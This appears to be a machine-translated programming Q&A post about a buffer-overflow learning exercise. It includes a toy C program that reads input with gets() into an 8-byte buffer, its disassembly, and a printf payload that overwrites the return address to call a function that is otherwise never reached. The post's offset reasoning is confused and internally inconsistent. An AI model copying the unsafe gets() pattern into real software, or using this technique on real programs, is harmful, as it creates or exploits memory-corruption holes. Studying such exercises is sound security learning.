我試圖對堆棧溢出進行控制。首先,這裏是我上的X32虛擬機的Linux(gcc -fno-stack-protector -ggdb -o first first.c
)編譯的C代碼示例,緩衝區溢出在預期之前出現
#include "stdio.h"
int CanNeverExecute()
{
printf("I can never execute\n");
return(0);
}
void GetInput()
{
char buffer[8];
gets(buffer);
puts(buffer);
}
int main()
{
GetInput();
return(0);
}
然後調試器(英特爾味):彙編代碼轉儲功能GetInput
:
0x08048455 <+0>: push ebp
0x08048456 <+1>: mov ebp,esp
0x08048458 <+3>: sub esp,0x28
0x0804845b <+6>: lea eax,[ebp-0x10]
這裏我們可以看到sub esp,0x28爲緩衝區變量保留了40個字節(右?)。 CanNeverExecute
功能位於地址0x0804843c
。 因此,爲了運行CanNeverExecute
函數,我需要將40個字節放入緩衝區變量中,然後將8個字節存儲爲基本指針,然後再更改8個字節的返回指針。
所以,我需要一個48個ASCII符號的字符串加上\x3c\x84\x04\x08
(CanNeverExecute
函數的地址)。這是理論上的。但在實踐中,我需要返回指針的地址,僅前20個字節:
~/hacktest $ printf "123456789\x3c\x84\x04\x08" | ./first
123456789..
I can never execute
Illegal instruction (core dumped)
爲什麼它需要只有20個字節,而不是48?我的錯誤在哪裏?